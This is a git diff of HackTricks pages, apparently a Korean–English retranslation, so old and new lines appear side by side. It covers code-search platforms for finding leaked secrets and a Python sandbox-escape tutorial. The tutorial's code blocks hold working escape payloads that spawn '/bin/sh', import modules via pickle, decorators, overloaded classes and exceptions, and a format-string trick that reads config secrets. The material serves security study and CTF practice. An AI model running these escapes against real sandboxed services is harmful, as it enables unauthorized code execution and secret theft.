GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,59 +1,45 @@
|
||||||
# 넓은 소스 코드 검색
|
# Wide Source Code Search
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
이 페이지의 목표는 **코드를 검색할 수 있는 플랫폼**(리터럴 또는 정규 표현식)을 수천/수백만 개의 리포지토리에서 하나 이상의 플랫폼에 걸쳐 나열하는 것입니다.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
이는 여러 경우에 **유출된 정보** 또는 **취약점** 패턴을 검색하는 데 도움이 됩니다.
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
* [**SourceGraph**](https://sourcegraph.com/search): 수백만 개의 리포지토리에서 검색합니다. 무료 버전과 15일 무료의 기업 버전이 있습니다. 정규 표현식을 지원합니다.
|
||||||
|
* [**Github Search**](https://github.com/search): Github 전역에서 검색합니다. 정규 표현식을 지원합니다.
|
||||||
***
|
* [**Github Code Search**](https://cs.github.com/)도 확인하는 것이 유용할 수 있습니다.
|
||||||
|
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab 프로젝트에서 검색합니다. 정규 표현식을 지원합니다.
|
||||||
이 페이지의 목표는 **수천만 개/수백만 개의 저장소에서 코드(문자 또는 정규식)를 검색할 수 있는 플랫폼을 열거**하는 것입니다.
|
|
||||||
|
|
||||||
이는 **유출된 정보를 검색**하거나 **취약점** 패턴을 찾는 데 도움이 됩니다.
|
|
||||||
|
|
||||||
* [**SourceGraph**](https://sourcegraph.com/search): 수백만 개의 저장소에서 검색. 무료 버전과 엔터프라이즈 버전(15일 무료)이 있습니다. 정규식을 지원합니다.
|
|
||||||
* [**Github Search**](https://github.com/search): Github 전체에서 검색. 정규식을 지원합니다.
|
|
||||||
* 아마도 [**Github Code Search**](https://cs.github.com/)도 확인하는 것이 유용할 수 있습니다.
|
|
||||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab 프로젝트 전체에서 검색. 정규식을 지원합니다.
|
|
||||||
* [**SearchCode**](https://searchcode.com/): 수백만 개의 프로젝트에서 코드를 검색합니다.
|
* [**SearchCode**](https://searchcode.com/): 수백만 개의 프로젝트에서 코드를 검색합니다.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
저장소에서 유출물을 찾을 때 `git log -p`와 같은 명령을 실행할 때 **다른 커밋을 포함하는 다른 브랜치**에 비밀 정보가 포함될 수 있음을 잊지 마세요!
|
리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때, **비밀이 포함된 다른 커밋이 있는 다른 브랜치**가 있을 수 있음을 잊지 마세요!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
|
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
|
||||||
|
|
||||||
## 명령 실행 라이브러리
|
## Command Execution Libraries
|
||||||
|
|
||||||
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
|
첫 번째로 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
|
@ -76,7 +68,7 @@ Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고
|
||||||
|
|
||||||
여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||||
pickle을 통해 python 환경이 시스템에 설치된 **임의의 라이브러리를 가져올 수 있습니다**.\
|
pickle을 통해 python 환경이 시스템에 설치된 **임의의 라이브러리를 가져올 수 있습니다**.\
|
||||||
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져오게 됩니다:
|
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져올 것입니다:
|
||||||
```python
|
```python
|
||||||
#Note that here we are importing the pip library so the pickle is created correctly
|
#Note that here we are importing the pip library so the pickle is created correctly
|
||||||
#however, the victim doesn't even need to have the library installed to execute it
|
#however, the victim doesn't even need to have the library installed to execute it
|
||||||
|
@ -158,9 +150,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||||
```
|
```
|
||||||
## Bypassing protections through encodings (UTF-7)
|
## 인코딩을 통한 보호 우회 (UTF-7)
|
||||||
|
|
||||||
In [**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7은 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다:
|
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하기 위해 UTF-7이 사용됩니다:
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
|
@ -175,7 +167,7 @@ return x
|
||||||
|
|
||||||
## 호출 없이 Python 실행
|
## 호출 없이 Python 실행
|
||||||
|
|
||||||
호출을 할 수 없는 **파이썬 감옥** 안에 있다면, 여전히 **임의의 함수, 코드** 및 **명령**을 **실행**할 수 있는 방법이 몇 가지 있습니다.
|
호출을 할 수 없는 **파이썬 감옥**에 있는 경우에도 **임의의 함수, 코드** 및 **명령**을 **실행**할 수 있는 방법이 몇 가지 있습니다.
|
||||||
|
|
||||||
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 이용한 RCE
|
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 이용한 RCE
|
||||||
```python
|
```python
|
||||||
|
@ -199,13 +191,13 @@ X = exec(X)
|
||||||
@'__import__("os").system("sh")'.format
|
@'__import__("os").system("sh")'.format
|
||||||
class _:pass
|
class _:pass
|
||||||
```
|
```
|
||||||
### RCE 객체 생성 및 오버로딩
|
### RCE 객체 생성 및 오버로드
|
||||||
|
|
||||||
클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
당신이 **클래스를 선언**하고 그 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||||
|
|
||||||
#### 사용자 정의 클래스를 통한 RCE
|
#### 사용자 정의 클래스를 통한 RCE
|
||||||
|
|
||||||
일부 **클래스 메서드**를 (기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여) 수정하여 **직접 호출하지 않고도** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
|
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고도** **트리거될 때 임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -272,9 +264,9 @@ Sub['import os; os.system("sh")']
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
#### 예외로 객체 생성하기
|
#### Creating objects with exceptions
|
||||||
|
|
||||||
**예외가 발생할 때** **Exception**의 객체가 **직접 생성자를 호출할 필요 없이** **생성됩니다** ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
**예외가 발생하면** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||||
```python
|
```python
|
||||||
class RCE(Exception):
|
class RCE(Exception):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
@ -327,8 +319,8 @@ pass
|
||||||
```
|
```
|
||||||
## Builtins
|
## Builtins
|
||||||
|
|
||||||
* [**파이썬2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
* [**python2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
||||||
* [**파이썬3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
* [**python3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
||||||
|
|
||||||
**`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
|
**`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
|
||||||
```python
|
```python
|
||||||
|
@ -382,7 +374,7 @@ get_flag.__globals__['__builtins__']
|
||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**을 찾을 수 있습니다.
|
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **builtins**을 찾습니다.
|
||||||
|
|
||||||
#### Python2 및 Python3
|
#### Python2 및 Python3
|
||||||
```python
|
```python
|
||||||
|
@ -424,7 +416,7 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **globals**를 찾을 수 있습니다.
|
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **globals**를 찾습니다.
|
||||||
|
|
||||||
## 임의 실행 발견
|
## 임의 실행 발견
|
||||||
|
|
||||||
|
@ -432,7 +424,7 @@ class_obj.__init__.__globals__
|
||||||
|
|
||||||
#### 우회로 서브클래스에 접근하기
|
#### 우회로 서브클래스에 접근하기
|
||||||
|
|
||||||
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스**에 접근할 수 있는 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
||||||
```python
|
```python
|
||||||
#You can access the base from mostly anywhere (in regular conditions)
|
#You can access the base from mostly anywhere (in regular conditions)
|
||||||
"".__class__.__base__.__subclasses__()
|
"".__class__.__base__.__subclasses__()
|
||||||
|
@ -686,10 +678,10 @@ You can check the output of this script on this page:
|
||||||
|
|
||||||
## Python Format String
|
## Python Format String
|
||||||
|
|
||||||
만약 당신이 **형식화**될 **문자열**을 파이썬에 **전송**한다면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
하지만, **제한**이 있습니다. `.[]` 기호만 사용할 수 있으므로, **임의의 코드를 실행할 수는 없습니다**, 단지 정보를 읽을 수 있습니다.\
|
하지만, **제한**이 있습니다. `.[]` 기호만 사용할 수 있으므로, **임의의 코드를 실행할 수는 없고**, 정보만 읽을 수 있습니다.\
|
||||||
_**이 취약점을 통해 코드를 실행하는 방법을 알고 있다면, 저에게 연락해 주세요.**_
|
_**이 취약점을 통해 코드를 실행하는 방법을 알고 있다면, 저에게 연락해 주세요.**_
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
|
@ -711,11 +703,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
노트: 일반적인 방법으로 **속성**에 **점**을 사용하여 접근할 수 있습니다 `people_obj.__init__`와 **딕셔너리 요소**에 **괄호**를 사용하여 인용 없이 `__globals__[CONFIG]`
|
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||||
|
|
||||||
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있습니다 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있습니다 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
형식 문자열의 다른 흥미로운 특징은 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
|
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
|
@ -807,7 +799,7 @@ compile("print(5)", "", "single")
|
||||||
dir(get_flag.__code__)
|
dir(get_flag.__code__)
|
||||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||||
```
|
```
|
||||||
### 코드 정보 가져오기
|
### 코드 정보 얻기
|
||||||
```python
|
```python
|
||||||
# Another example
|
# Another example
|
||||||
s = '''
|
s = '''
|
||||||
|
@ -903,10 +895,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
44 LOAD_CONST 0 (0)
|
44 LOAD_CONST 0 (0)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
## Python 컴파일
|
## Compiling Python
|
||||||
|
|
||||||
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
|
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
|
||||||
다음 예제와 같이, 해당 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
